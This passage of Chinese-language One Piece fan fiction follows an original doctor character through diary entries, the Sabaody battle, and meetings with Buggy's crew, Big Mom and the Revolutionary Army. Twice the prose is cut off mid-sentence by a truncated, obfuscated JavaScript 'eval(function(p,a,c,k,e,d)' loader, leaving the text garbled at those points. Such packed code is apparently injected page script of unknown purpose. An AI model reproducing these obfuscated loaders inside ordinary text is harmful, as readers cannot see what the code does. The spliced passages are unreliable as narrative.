【毕竟也不是天天都在航海了,所以其实记录得隔三差五,当时真的是基本天天都有在写诶,而且比起之前有很多感悟和对米森说话,现在变得更像是日记。】 【有点感慨,突然就意识到原来自己已经走了那么远的路,比起那一整本里隐隐透出的迷茫,现在能好好记录生活和感兴趣的东西,也是成长吧?】 【露玖上次去妈妈聚会回来后给我带了杰尔玛66的纪念玩偶。公主王子们现在居然真的...和漫画里一样可以战斗服变身都超帅的!不愧是杰尔玛啊。乙姬王妃也有托她给我礼物,是保养红珊瑚项链的用油,确实褪色磕碰...没有好好注意。真是太感谢了。】 【要不要把隐形黑的战斗服寄给山治先生是索拉一家现在热议的话题。他们也有些好奇等他的通缉令出了会不会被冠上文斯莫克的姓氏,毕竟是数一数二的加盟国,有些担心会影响他的冒险吧?】 【...我感兴趣的东西就是八卦吗?真是的。】 【今天吃了蛋包饭,我永远不知道镀膜师傅老雷手就算再巧,怎么能把蛋皮卷成旋风的。我试了两打鸡蛋都没弄出来,被他说笨蛋了。】 - 【海圆历1522年X月X日:】 【今日暴雨。】 克洛克达尔嗅着墙壁里洇出来的潮气,也知道外面暴雨倾盆,即使是四周四散的尸体带来的血腥气也压不过。 波尼斯给他点了一只雪茄,他的那群没用的部下居然溜到海军支部的监狱里来放他出去——“再次组成巴洛克工作室吧”Miss黄金周那个小丫头这么说。 被救出去的感觉不怎么爽啊。 他沉默地吸着烟,直到外面雨过天晴——天花板都被这群家伙掀飞了之后才接过自己的个人衣物,“Mr.2和Mr.3那两个废物呢?死了?” “他们在试图逃跑的时候被黑槛拦截,现在还在军舰...BOSS你能不能...” 克洛克达尔摸了一下衬衣的内侧口袋,确定里面还有那皱巴巴的一团后打断了Miss情人节。他们关系还真好。 “我去把他们两个弄出来,然后你们爱组建工作室组建工作室,这是放我出来的交易,跟老子没关系。” 赌一把吗? 【虽然米霍克先生没有叫醒我,毕竟暴雨袭来的时候是凌晨。克拉伊伽那很少有这么大的雨,打雷的时候我惊醒,担心菜园子里排水渠不够深后跑过去看到他已经在忙碌了。】 【狒狒们帮了不少忙,所以有给它们分一些抢救下来的卷心菜...】 “在写什么。” “航海...啊不算航海日志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【海圆历1522年X月X日:】 【今日海列车无事。】 【路飞他们的赏金涨了,全员通缉。世界政府看来是没发现CP9交上去的设计图是假的,也不知道被''杀死''的弗兰姆就是弗兰奇先生,还想抓罗宾。不过也算是给布鲁诺先生他们一个能正式被路奇先生他们捞到CP0的方式吧。】 “什么事,鳄鱼。” “你不是很明白奇迹游医的脑子吗,鹰眼,他拍的这是什么?” 米霍克没有收刀,但接过了对方递过来的一张布满褶皱的纸——一张照片。扫了一眼后还了回去。 “是沙。” “...沙?” “沙漠。” 黑礼帽下的金眸扫过攥住那张相片的手。层层叠叠的浪,黑白的滤镜下看不出来是黄金还是蓝宝石,在果实能力下化为、沙。 短暂无言后,他收起刀,转身向城堡走去。 “他去七水之都了,不知道什么时候再来。” 【路飞他们也去过黄金乡了,还带了不少财宝回来。只是可惜了他们的梅丽号,降落在海面时龙骨摔断,本来弗兰奇先生想要把它像雷德福斯那样扩建成双桅帆的想法也只能放弃。造了新的船,用梅丽的一部分船身改造成采购小船,也很可爱。 即使它有船精灵,我在触碰时也听不见梅丽的声音,所以它并不痛苦,这样跟孩子们说了。】 【受卡库先生拜托,去春之女王看过加布拉先生他们的伤势,接下来熬过追杀,就可以被他们用合理理由带到CP0去。真是...辛苦啊。】 【今天吃了鲜花炒饭,有点反胃。不是我很喜欢的味道,鲜花饼我都不爱吃果然还是不要倔强地挑战这种东西了。】 - 【海圆历1522年X月X日:】 【去卡塔库栗先生那里吃下午茶的时候,听说罗拉小姐之前失去联络后,再次报来平安。原来是被莫利亚先生夺走了影子,也不能轻易地回到船上用镜子碎片传消息,直到路飞他们误入恐怖三桅帆。】 【罗拉小姐还在躲洛基先生的追求啊,之前去艾尔巴夫拜访的时候被王子爱上什么的...平安就好。】 【''我要去继续做一只飞鸟。''当时她是这么说的,所以夏洛特们把她放跑,真是了不起。】 “七武海这个制度就很...”茵弗把嘴里的话轱辘了一圈,实在是找不到能准确形容的词汇。 “呋呋呋呋呋,我联系上那个前七武海了。” “克洛克达尔先生?哦。” 面前的电话虫咧嘴笑,不太在意他的不在乎。 “他觉得我是在给你打工。” “他是个很骄傲的人嘛,不过您也算不上是在给我打工吧。” 茵弗把路飞更新的通缉令装好,不知道他们到香波地之前会不会来见他一面。 “我知道您把哈那夫扎先生收集的古代种恶魔果实吞了之后和百兽搭线换利益,但我不想您让凯撒先生做人造恶魔果实,贝加庞克先生都无法做到完美的东西,那家伙来会出事的。” “呋呋呋你也说了,我不是在给你打工。” 茵弗点点头,虽然电话虫传不过去,“您从来就不是在给我打工,您也知道我从来都没有觉得您隶属于我。只是我的底线还是那些,他实验...” 他卡住了。 这还是他们认识这么多年,他第一次不知道和这个交流起来莫名其妙顺畅的家伙说什么。 伊甸和黑曼巴相互依存着双生,早期时互利互惠,现在都已经成长得足够巨大。 如果黑曼巴脱离伊甸,那受创伤最大的是这棵树,而不是早就可以独立生存的蛇,它只会掉些鳞片,蜕几次皮就好了。 “如果我终于决定踩上去呢,医生?” “...那是您的自由,但是我会去揍您一顿。” “然后呢?你会杀了我,让罗西接过担子?” “不会。” “呋呋呋为什么?怕罗西接不住?” “不,因为我们会很难过,所以如果您真的那么选择了...” 茵弗皱着眉头,骨头酸酸地难受。 “...我的一切只能被我收回。” “【茵弗玛利】的一切?” “【我】的一切。” 伊甸会对黑曼巴正常开放,就像对所有人一样,但是,他们将不再是朋友了。 “...我、” “呋呋呋别哭了,医生。” 茵弗捂住脸,明明没有发出声音,但是电话虫的拟态就是这么讨厌。 喀嚓。 他率先挂断了电话虫。 【今天没有吃晚饭。】 “...所以?” “所以就是这样。” 多弗朗明哥给对面的男人递过一瓶威士忌——茵弗玛利说过他喜欢。他将电话虫的话筒扣上,盘算了一下一会儿打回去怎么哄哄。 “你不是他手下。”克洛克达尔吐出一口烟,遮住自己的神色,“但是你还是得听他的话?” 金发男人怪笑着前倾身体:“我不用非得''听他的话'',鳄鱼,我''选择''了茵弗玛利,是非常好的一笔交易。” 电话虫沉睡着,两侧是两个野心家。 深色的蜗牛,白色的壳,鲜红的珠串挂在脖子的位置,也许是被割开的喉管,也许是绞绳。 蜗牛说:''来赌吗,只要你选择就有可能性。'' 91.我是杰里 【海圆历1522年X月X日:】 “他是不是...太赶了一点?” 茵弗手里的笔无意识敲着本子的边缘,视线飘忽。 草帽小子在短短两个月左右的时间迅速成为了这片海的热议。一路从东海打到伟大航路,再到在香波地揍了天龙人。刚在他这儿把甚平拐跑,扭头就去打天龙人,让甚平适应一下啊? 虽然他们实力强,但是也不能这么打吧。 雷利跟着去香波地了,给他们的船镀膜,所以他还算放心一点...但是,他们那个船只大小,找别的匠人合作,最快也要一天半左右? 夏琪电话虫里说的模糊,大概就是小路飞把天龙人打了,大将会去,问他要不要过去看看。 露玖:“要成为海贼王呢...” 茵弗:“我去一趟吧,有点放不下心。” 露玖亲了亲他的脸颊,眼里溺满担忧。 咖尔速度快,但是茵弗还是焦虑地揉揉它的羽毛,拜托它再快一点。 他自己从小便开始跟着雷利和□□他们训练,长大了又自己再这片海上漂着,打架也打得不少,濒死再站起来,尤其是一开始的两年。他的一切都是靠时间和经验累积而起,从十拳变成一拳。 路飞、艾斯、基德,萨博...孩子们也都因此被他这么养大,给他们积累时间。但是他们的天赋比他高得太多,潜力更是和他这个已经卡到顶的人来比趋于无穷尽。 所以他摸不清他们现在到底有多强,需要在实践中打磨多久才够。虽然预料到了路飞会很快,毕竟他的伙伴们也认真训练了两年多,但是他预估走走停停怎么也要半年,毕竟之前最快的艾斯也用了近一年的时间才进入新世界,如果不是加入白胡子可能还会退出来。 而且他干掉七武海,和世界政府作对,还是D,那群家伙不会善罢甘休的。 才接近香波地,他就远远看到一根亚尔其蔓红树倒入海中。太夸张了吧,罗杰海贼团当年都没打这么激烈。茵弗咬咬牙,向爆炸来源飞去。被卷起的热流中,隐约能看到烟尘下的战斗,闪烁的镭射光——黄猿。 他向边缘飞了一点,试图判断周围情况。这里太吵了,爆炸声压过枪鸣,压不过惨叫声。他顺着人流逃窜的方向飞,另一侧也在混战,很多海贼团的样子。 他看到熟悉的光圈扩大又消失,好像在转移居民,可是ROOM的范围不能把他们送到很远。愈来愈激化的战斗只会让整个香波地陷入麻烦。根据罗杰海贼团当时的情况来看的话...在这里拖得太久,海军只会派更多的人来,中将、大将,附近的七武海? “啧。” 茵弗掏出电话虫,向罗的方向飞去。 “露玖,派滞留鲸来香波地,用加速炮赶到东侧港口,排击贝也装上,船损伤也没关系,最快速度!” 咖尔不能降落,会被误伤的。所以它落到一半茵弗就制止了它,告诉这个聪明的家伙先飞远,然后自己跳了下去。 还没落地,蓝色光膜就罩住了他,将他平安瞬移到地面。罗气喘吁吁,大概能力使用过多太疲乏了,帽子也有点歪斜,汗水涔涔地抹了一把脸上的汗与血。 “医生当家—” “喘口气,亲爱的。”茵弗拉过他的一只手,在自己心脏位置放了一下,“附近有喇叭吗?” 他挥动手杖,将袭来的炮火弹开,给罗丢了一瓶补充体力的药剂。 “海军那里有...或者找那个红毛磁人做一个。” 的确看到基德在战圈里,本来还想说他们一起在香波地聚一次挺好,结果现在都什么事啊。 茵弗拍拍赶过来的贝波,窜到长得壮壮的小炮仗身边,路上抽开几个碍事的家伙,没太注意是海军还是自己人。 “基德!喇叭来一个!要很大声的!” “谁指挥老—小姨!?” 基德将手里的巨大机械拳打出去后,抬手凝了个怪模怪样的喇叭丢给他。 “你怎么来了!” “喂喂!''船长''基德在叫奇迹游医小姨吗?” “那是奇迹游医?他不是男的吗?” 基德又一拳打出去:“白痴不懂男人也可以是小姨吗!” 茵弗没管他们,拍了下基德毛乎乎的风衣后跑开,把被倒塌建筑堵住的路用霸气打穿,将喇叭举到嘴边。 不得不说基德的大喇叭做得真的蛮好,他的声音能大部分刺穿战场,引导民众一路向东侧港口疏散。 再次用鸟哨招来咖尔,确保自己在上空视野下面的人也能听到,还要打开莫名其妙朝他打过来的炮弹子弹。所以说香波地也太鱼龙混杂了一点。 飞了两趟,他再次朝战圈最激烈的地方赶去。他们一群人被黄猿一个人压着打吗?那还是别进新世界了...啊,我就说嘛。 贝加庞克造的什么东西啊。露娜莉亚族和七武海的合成人?不过还不大稳定的样子,战桃丸在指挥。鹰眼、鳄鱼、女帝、莫利亚...比较早加入的四位啊。看起来有点小孩子的样子,但是很大只。 居然还有恶魔果实能力?茵弗扫过视线里的一大片石头,难怪。将望远镜对准海军侧的海平面,果然看到又一艘赶来的军舰。 现在30-60号已经完全是战区了啊。 雷利在加紧镀膜,路飞他们肯定不愿意将阳光号丢在这座岛先抢一艘船走,来的人是赤犬还有中将们...糟糕了。 “活捉革命军龙之子蒙奇·D·路飞!其余全部清剿!” 糟糕了糟糕了糟糕了。 茵弗给雷利拨了个电话虫,接通就挂断,没有时间说话,飞到了上面有很多黑衣人的军舰上,“奇迹游医茵弗玛利,听说尊贵的天龙人被伤,特来献力。” 雷利将镀膜工作交给其他被叫来的工匠们,海底最难办的部分他已经完成了,刚刚自家小鬼打来电话虫大概是那边出什么问题。 才踏入37号,他就意识到问题所在——战斗结束,或者说停滞了。 双方都带着伤,路飞有几个船员还有半边身体石化着,基德整条左臂血肉模糊,罗在做紧急处理...茵弗站在双方中间,身上也带着血。手里钳制住一个昏死的天龙人,手枪抵在他的额角上。 是要用他当年的办法?可是天龙人不是被海军带走了吗? “以上是我的条件,先生们。” “小姨!我们会赢的,把他们全都—唔!” 娜美死死按住路飞的嘴。 “你果然是出于私心在包庇龙之子。” 赤犬身上的岩浆又沸腾了起来,捏紧了拳头。 茵弗没理他,只是表演一样把手枪又往天龙人头上戳了几下,然后微微转向那几个人造人。 “小女帝小姐可以把孩子们的石化解开吗?还有不少海军和平民被连累呢。” “诶?” “哦!拜托了啊汉莫克!” “啊啊二位都这么拜托哀家...” 战桃丸和黄猿对视一眼,指挥S-蛇解开石化,然后看茵弗玛利告诉那些民众去东边港口伊甸鲸上暂避,受伤会有人处理。 海兵手中的电话虫神色微动,叹了口气。 “休战一天将香波地民众转移,之后你就不再干涉,没错吧?” “是这样的,战国先生,给医生减轻点工作压力吧?” 元帅下令,海军也只能暂时撤退。茵弗把手里醒过来的天龙人敲晕过去——之后他大概也会被抓吧。 “中将,我们...是否要协助伊甸鲸人员帮忙转移民众到安全区?” 道伯曼看了一眼面无表情的赤犬,还有夸张地哎呦着走向医疗兵的黄猿,摆手算是同意了。 “绝不允许有海贼在这二十四小时里溜走!” “是!” 海军会派更多的人包围香波地,清剿海贼,抓龙的儿子,这他也有预料了。茵弗咬着衣服,往自己身上缠纱布,身边放着几个小电话虫。可怜的咖尔,被伤到翅膀,还好还有乔巴在,他们沟通得很好。 夏琪:“哎呀呀,被要当海贼王的家伙们把天龙人带到我这儿,还真是久违了。” 雷利:“当年我们可没有这么乱来。” 娜美担忧地询问二十四小时他们的船能镀完膜吗?雷利摇摇头,三天能压缩到一天半都是最好的情况,虽然他也许应该去帮忙,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“二十四小时而已,不也给海军争取了时间围堵香波地?增加援军?我救下那么多人去重建被打烂的岛给您们省多少心啊。” 额头带斑的老头胡子一动:“你挟持天龙人,视神之后裔的威严于无物,这一点就足以将你处刑。” 茵弗:“那您们处刑我吧。” 所以茵弗玛利失踪了。 他按约定进入推进城服刑两年,只是途中出现意外,整艘军舰都石沉大海。五老星把这个消息压了一阵子,见没有什么有关拉夫德鲁的秘密流出的苗头,便派人员去奥比塔拉以及各个分部强制接收管理层。 接下来的一年,民众是如何对伊甸在政府名下一系列的新政策不满,引起反弹后整片海的医疗资源陷入不稳,那都是后话了。 现在,暗杀任务结束的CP0递交了让五老星满意的结果报告,而战国手下的军舰没了一艘,上面的将领士兵无人生还,他捏着眉头,放下手里的报告文件——服从政府命令,也要赶尽杀绝啊。 对面沙发上的家伙啃着仙贝,卡兹卡兹的声音吵得人心烦。 【茵弗玛利】是中立的,他从不站队。他将一切都留给他的朋友家人们,包括海军。那他呢?战国问出了和雷利一样的话。 “我?” 金发的人身上缠着纱布,像卡普一样没什么礼貌地在桌布上蹭了一下饼干渣。 “我是杰里。” 一个枪兵。 早在当原始人类第一次拿起树枝自卫或捕猎野兽时,就出现了他们的雏形,枪兵是前排的冲锋者。 什么是冲锋兵? □□戳开凑过来的革命军训练营小孩,让他滚回去好好训练,然后说: 就是为了给后排创造突破口而存在。 空气之门打开时,战国办公室的门也正被泽法推开。紫发男人走入只有战国的办公室,不确定忧心忡忡的老友叫他来干嘛。 觉醒的门门果实强大无比,杰里感谢地拍了下跨海开门的布鲁诺,回到雷利的怀抱。 “路飞他们去雷神岛了?” “我怎么知道,大概吧。” 雷利叹气,顺了两下杰里的后背,不省心的小子哼唧两声,猫咪撒娇一样蹭着他的头发。 “接下来准备干嘛?” “继续写航海日志。” 【我是枪兵,伊甸是矛,我要将它钉在世界政府上。】 如此以来,细小的皲裂四散,等着后排的浪潮一拳砸上去的那一天。 92.十字工会和革命军 巴基在新世界的临时驻扎地里,多了一位新的客人,未来的可能合伙人。 原七武海鹰眼米霍克。 克洛克达尔说他能把鹰眼叫来的时候他本来不信的,不过现在氛围有点,和他想象中不太一样。茵弗—现在又叫杰里了,很自然地在跟他们说话。 “就是您们小时候的样子,不过面无表情的。带着露娜莉亚族的特征,我见到四个。您们小时候都蛮可爱的捏。” 王下七武海在连续失去哈那夫扎、克洛克达尔、莫利亚后,香波地一事上,在附近的泰格拒绝帮助天龙人被除名。在那场毁了三分之一香波地的战役后,炽天使的使用也有了实战测试,便顶替掉了七武海。 鳄鱼联系了鹰眼,他欣赏这个男人,二人也算在茵弗玛利一事上有过几次交集,便拉拢了他,正好那个家伙最近也在红鼻子这里——意外的顺利。 在聊到茵弗玛利一涉及他弟弟就进入的诡异状态,居然还能有共同话题。 “十字工会目标是大秘宝吧,我以为米霍克先生会没兴趣的来着。” 克洛克达尔和多弗朗明哥瞄准的东西不一样,所以杰里引荐了巴基。他其实也能理解鳄鱼想要鹰眼加入的想法,声望、金钱、力量——一个强大的组织会非常有竞争力。 他现在不能大金额的随便动伊甸的资金,要从珊米那里走暗线,超级麻烦,之前他资助巴基不少钱呢。 “我在考虑。” 杰里嗯了一声,捋了一把自己散着的头发。 “不过没能吃到无花果真可惜啊...等...事情结束,希望还能有机会吧。” 米霍克挑眉:“什么事情?” 杰里没回话,耸肩转移话题道:“不知道汉库克小姐怎么样了,没有七武海的职位,九蛇有点危险了呢。” 巴基拍了他一下:“本大爷会帮你的。” 杰里:“那太好啦,不过到时候再说,你继续冒险就好。” 帐篷外面又传来喧闹,大概是要么在玩要么在打架,杰里从沙发上起身溜过去后悄咪咪往外看,好像是利基和前巴洛克工作室的Mr.2又在做什么引起欢呼。 叹了口气,他又走了回来,仍然围在桌边的三人在说话,好像是谈论吞掉蜂巢岛做大本营的事情。他就离开一会儿怎么就计划上了,所以鹰眼加入了? “蜂巢岛也能建菜园子...”他嘀咕了一句,在巴基身旁坐下,等他们出征,他也就该走了。想到这里就有点舍不得捏。 “你可以跟着去,反正不是退休了。” “诶,读心?” 巴基无语地把黏在他身上的人撕开,就他这么表现还用巴基大爷读心?杰里嘻嘻一笑,取过桌子上的报纸回他的小帐篷读,不打扰他们。 路飞他们进入新世界节奏放慢了不少,也许是因为隔三差五就要跟追上来的海军们打架,遇到什么冒险途中的事情继续打架。有点担心那孩子的这个习惯,太像罗杰了,不过他叮嘱过乔巴,所以应该会好点吧。 他们大概打算去佐乌?毕竟罗宾知道那里有一块路标,不过佐乌不好找,所以就一路慢慢打听?谁知道,路飞的性格按感兴趣的方向乱走也有可能。 小娜美真是辛苦啊。 他将报纸放到一边,拿过自己的日志本翻开新的一页。今天没有航海,但是鹰眼来了也算是可以记录的特殊事件。 笔尖与纸张唰唰地摩擦,留下些许潦草的字体。空白的纸张一行一行地被填满,像缓缓积水的洼。布帘外的交谈声模糊不清,只是耳蜗里的白噪音。 他的桌上有一个水晶小马,是巴基送他的,在灯光的照射下向纸上投下一束紫罗兰的光。 杰里停下笔,突然发现自己无意识地在写字途中绕开了光的位置,所以留下了一道散射的空白——好有意思。 本子摊开晾干墨迹,他回到他们三人在的主棚,探了个脑袋。还没有聊完,不过注意到他的巴基对着他招手,然后询问什么事。 “刚刚很放松地写字。正好米霍克先生来了,久违地想等有时间的时候一起冥想一下。” 巴基好奇地问为什么要一起冥想,杰里耸耸肩回答因为自己的话有点危险。 克洛克达尔也想起来阿拉巴斯坦的事情,在金发男人得到鹰眼的同意再次离开后回答巴基的问题,并不是他冥想就会变成连环杀人犯的那种危险,而是“他会困在自己脑袋里。” 米霍克喝了口红酒,说也不是每次。 小丑妆男人摸摸下巴上的胡茬,嘟囔了什么之后问他能一起吗。 的确不是每次,但是巴基在第三次的时候见到了什么叫“困在自己脑袋里”。他不太喜欢杰里这个样子,引起不好的回忆,但是杰里说冥想让他感觉很好,所以大概还是不一样的。只是...“和那时候也太像了吧。” 杰里晕乎乎的,踩在云上的脚趾刚刚接触实地,问了句什么。 巴基:“就是你这家伙...那个时候啊。” 杰里:“...嗯?” 巴基:“你看吧,反应都差不多。” 他们没继续聊下去,不过米霍克被勾起兴趣。 “他之前也有过?但是他说以前没有冥想过。” 巴基:“啊,他,有段时间就刚刚那个样子,不是冥想,就是...本大爷为什么要告诉你啊!” 黑发男人脚步停顿,拐回自己住处的步伐转了个方向,犀利的视线扫过红鼻子男人,一言不发地和他一起到主篷里。 克洛克达尔见到他来有些意外地挑眉,毕竟一般冥想结束他也会回去休息的,他一直都是个作息规律的人。 巴基冒了点汗,世界第一大剑豪还是、还是、还是有点可怕的,“咳、瞪本大爷也...”他殷勤地给鹰眼倒上一杯睡前红酒,“那家伙受伤...很严重,然后恢复的时候就那样子,行了吧!” 细节他不会说的,这是杰里的事情。 米霍克:“多严重。” 巴基:“很严重就是很严重,都变成那样了。” 克洛克达尔也来兴趣了,放下手中的纸张看向他。巴基又咳嗽两声,在二人无声的凝视中拍了下桌子给自己涨气势。 “生命卡烧没了那么严重,就这样!缘由具体不是本大爷该随便跟人说的。” 他拿过桌上的朗姆酒,在二人微微震惊的神色里灌下一大口,沉默几秒后说道:“我可不想看他再那个样子了,所以之前说,这次我会帮他。” 大秘宝也好,扩张势力也好。他一直都想给自己争一口气,他巴基不比任何人差,想要的都可以去争,【巴基】也可以成为【罗杰】。但是如果一遍一遍把这个概念刻在那个缩在【香克斯】阴影里的红鼻子男孩灵魂里的家伙需要他,那他会来。 即使那一刻他离one piece只有一步之遥,他也会赶到他身边去。 杰里就是茵弗,茵弗就是杰里。 茵弗玛利能为了在意的人孤身一人跑到那上面跟神对着干一次,杰里就会为了他在意的事再去一次。 哦对,他第一次去的时候也抛弃了茵弗玛利的身份,他是个天龙人不知名的奴隶。 克洛克达尔弹掉燃了一截的烟灰,再次举起情报纸:“...只要不影响我的目标。” 巴基摆了摆手。 米霍克无言地喝掉半杯红酒后突然询问道:“他的神游是后遗症?” 蓝发男人有点惊讶,“啊,他还会在你面前神游啊,确实关系不错嘛...也是,都找你冥想了...”他挠挠脸,这个说一下倒也无所谓,“算是吧?不过他从小就脑筋很跳跃,所以我们不觉得有时候迷糊一阵子是很严重的事情。” 至少在巴基和香克斯看来,他一直都是这样的,好像脑袋连着另外一个世界,所以他才那么特别,只不过受伤之后界限不清晰了一样。 米霍克点点头,没有再问别的,放下酒杯去休息了。 - 蜂巢岛的造型很有趣,据说以前是那个霸主洛克斯的大本营。巴基在这个海贼就像蜜蜂一样集聚,不断涌进涌出的地方展现出了他的王者资质——无比的号召力。 当然是岛上打了两天之后。 杰里退休了,不打算参战,外面闹着的时候,他在和BIGMOM见面。他的大镜子临走前被拆成一半的大小,才勉强携带,毕竟他现在不能开波比了。其实有考虑过要不要直接丢了,但是和佩罗斯佩罗约好了不砸掉。 他是来完成约定的。 试着帮助修复和巨人族之间的关系,还有寻找修女的消息。修女加尔默罗,人贩子山姥。 “她是个...骗子?” 杰里的脑袋里因为身旁体型巨大的女王散发出的霸王色霸气而有点嗡嗡,面前圆桌上的点心,还有门口附近把守的卫兵霍米兹们都晕了过去。 “她对您的喜爱并不虚假,只不过,原因并不太好。”他叹了口气,安抚地伸手搭在了BIGMOM巨大的手腕处,听到无比痛苦的灵魂,“很抱歉,这是我能找到的所有信息,其实前几年我就已经拿到手了,一直在犹豫要不要给您,我并不想让您如此难过。” 亲手毁掉这个混乱的孩子,偏执的海贼心里的净土感觉并不好。粉发女人偏过头看向他,巨大的眼仁中布满血丝。 “只是我想,既然我们做了海贼约定,您放我离开托特兰,那么我就要完成。”他没有退缩地直视她,犹如多年前一样,“我很抱歉,但是您身边也有很多的爱不是吗,比如您的孩子们?他们可能敬畏您,甚至有时有点恐惧,但是他们从来没有因此抛弃您不是吗?” “罗拉...” “罗拉小姐只是不喜欢洛基先生的求爱,勇于追求自由与大海,自己把握住想要的东西,不正是您赠予她最宝贵的气质吗?您可是一手建立了托特兰的海上皇帝。” 杰里温和地笑笑,有些感慨她居然会跟他提起罗拉。也许是她现在是脆弱迷茫的状态的原因,不过对他展示还是挺意外的。 “我没有再见过罗拉小姐,但是曾经有见过她一面的人跟我提到过,她仍然为自己有个强大无比的妈妈而感到自豪。” 毕竟都撕生命卡给娜美了,还说什么有机会可以见一面她的''了不得的大海贼''妈妈。 “您早就不必再觉得孤独了,Sister玲玲,啊,也许您不再想我这么叫您了,请不要生气。” BIGMOM愣了一会儿,突然大笑起来。“玛玛玛!没关系!就算是残暴的海贼世界也是要讲仁义的!”她丢开手里小小的纸张,往嘴里塞了一块蛋糕,“遵守''海贼约定'',很好啊玛玛玛!谢谢你的消息!” 杰里不太确定她这是恢复正常了没有,下一刻,BIGMOM突然一拳砸断的面前的桌子,大量的霸气随着她的怒吼声震出,身旁的两个霍米兹普罗米修斯和宙斯也随着她的情绪波动变得狰狞。 “她是个骗子!!联合世界政府的骗子!!” 恢复正常...了? 虽然没吃多少,不过久违地他又半被迫地吃了霍米兹蛋糕,回到小麦岛城堡的时候不停给自己心理暗示着不恶心不恶心不要吐不要吐。反而有点忍得头晕怎么回事。 布蕾说从镜子看那边还没打完,所以他就先呆在卡塔库栗这里。脸色很不好地捂着口鼻,还是努力地跟凤尾兰小姐礼貌道别。 在冲向卫生间之前,面前被递过来一杯温水和止吐药。卡塔库栗大概看到了他呕吐的未来,真是及时。 “佩罗斯大哥被妈妈召走了。” 杰里点点头,吃完药后对着面前的大高个无言张开手臂,被抱起来后挂在他毛茸茸的围巾上缓着。 卡塔库栗本来想问他到底告诉了妈妈什么,但是预知到他蔫巴巴不回话的样子,便默默收起见闻色,带着挂在他身上的人回自己房间。 甜甜圈送来的时候,趴在他床上的人因为甜腻的气味唔了一声,然后把脸埋到枕头里。 卡塔库栗思考了一下,把对他来说极小的吐司托盘单独推到床边,然后离远些建起年糕神社去吃甜甜圈。这还是这么多年他们第一次明明在一处却要分开吃下午茶。 用餐完毕出来时,托盘上的吐司只有一片被动了一口,牛奶也只少了半杯。看来还是很难受啊,霍米兹真的对他影响很大。 他不能久留,傍晚要巡视一圈小麦岛,不过他还是在蜷缩在床上的人身边缓缓躺下,淡金色的眼睛睁开一只看向他,面上浮起一丝抱歉的笑。 “剩下的我会带回去,谢谢您的准备。” “嗯。” 他没有像往常一样凑过来,也许自己身上还沾着太多甜甜圈的味道。卡塔库栗本来想伸手,想到这一点还是收了回来。 杰里注意到他的动作,眼角弯弯地笑了一声,然后贴过来亲了一口他脸颊上的伤疤后退回去,又把脑袋埋到枕头里。 卡塔库栗盯着他金色的后脑勺看了一会儿,起身去履行面粉大臣的职责。他回来时,人已经带着吐司离开了。 “好吃吧?小麦岛的专供。” “不错。” 杰里靠在沙发上,那几片吐司分给了巴基他们。他们身上的血腥气和甜腻的蛋糕气息他不确定自己更偏好哪个。 至少吃东西知道要洗手。 那片咬过的吐司被他啃了一半,现在只有他剩在盘子里。巴基问要不要帮他解决掉,杰里点了点头。 “就这一次啊,晚上你好好吃饭。” “放心吧,不会有以前那么严重的。” 克洛克达尔擦了擦手,点了根雪茄。BIGMOM那个老太婆手下的烘焙品确实不负盛名,不愧是建造了一个甜点帝国的疯子。只是没想到茵弗玛利和托特兰还有良性联系。 接触的越多,他以前在情报上了解不到的东西就越多。 杰里动动鼻子,挥之不去的甜香和铁锈味混在一起,现在又加上雪茄浓厚的焦烟草气,他又捂住了口鼻。 “好想吐...” 米霍克扫了一眼克洛克达尔,对方只是耸耸肩,不知道他为什么这次反应这么大。 杰里仍然仰着头,没看到对面二人无声的交流,在巴基递过来一杯水的时候才坐直喝了一口。凉水让胃里更不舒服了,但他还是表达感谢后拉过他亲亲,同样没看到鳄鱼翻的白眼。 蜂巢岛被他们选为大本营的建筑还在清理打扫,他们现在还在船上,所以他回到他的—也就是巴基的舱房里继续趴在床上休息。 太久没有接触过食用霍米兹了,感觉接受程度不升反降。比他第一次吃的时候还难受。 晚饭没有好好吃,因为他睡着了。来叫他的巴基在门口站了一会儿,还是决定不叫他了。也许晚上他回来睡觉的时候他会醒,然后弄点夜宵。杰里不想留在还不稳定的蜂巢岛他也知道,毕竟他现在在外界是生死不明的状态,岛上鱼龙混杂,有点麻烦。 他联系了革命军来接他,估计也快到了。其实他也挺好奇神出鬼没的革命军的基地是什么样子的。 - 白土之岛巴尔迪哥遍布黄沙和乱石,寸草不生一片荒芜,至少外表是这样。 杰里跟在兴冲冲地跟他介绍基地内部环境的萨博身边,时不时点头夸夸。外面是沙漠,里面是改造出来的小绿洲来维持正常生活,蛮有趣的。这还是这些年他第一次见萨博,毕竟革命军性质来说见面要比海贼困难多。 更不要说巴/雷特。 他还没当面感谢过他当年去把自己带回来。坚信即使生命卡燃烧殆尽,他也活着。在他手下学习的时候经常对这个动不动就要打死自己的家伙说一些''我会活下来''这样的话,看来还是有影响的。 别扭的家伙在他能下床坐轮椅,脑子还懵着的时候就走了,后面打电话虫也很不耐烦。不过对感情不坦率才是他巴/雷特。 对感情过于坦率才是他杰里。 所以巴/雷特甩了两下也没把贴在他身上的耗子甩下去,也就无所谓地让他挂着了。 “好久不见,子弹先生,我想您~当年怎么不等我恢复些再走呀,我当时都认不出来您真的是笨死了。” 巴/雷特被他甜得黏牙的语气弄得脸皱巴了一下,又嫌弃地甩了几下想把他抖下去,不过还是双手抱臂地往他的目的地前行着。 “闭嘴吧你。” 杰里嘻嘻地笑着,和他一样忽视周围路过的人惊诧的眼光。他的半个老师走到会议室,对着龙点了个头后就反手把背上的人揪下来丢到旁边,在自己的椅子上坐下。 杰里和其他几位军长打了个招呼,他们也没请他回避就开始讨论。总参谋长现在是龙和伊万科夫看好的萨博,杰里观察着他和身旁不怎么插话的巴/雷特。 没太听他们的会议内容,但是他很满意,尤其是对身旁自由都带着硝 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多弗朗明哥真擅长煽风点火,晚点打电话虫夸夸,不知道给烬关于炽天使的消息他发出去没有,不过大火烈鸟比他知道何时运作信息,杰里在这方面无比相信他的坏脑子。 “嗯...各位比我更明白其中的优劣势,我个人的话,是看到可能性就去做的类型。”他稍微蹙眉思考着,补充道,“我可以为您们提供一点帮助,但是有条件。” 龙点点头,让他说说看。 杰里:“露娜茜茜雅宫。” 